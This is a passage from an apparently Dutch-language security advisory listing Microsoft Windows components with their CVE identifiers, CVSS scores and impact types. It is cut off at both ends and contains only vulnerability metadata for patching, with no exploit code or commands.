Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              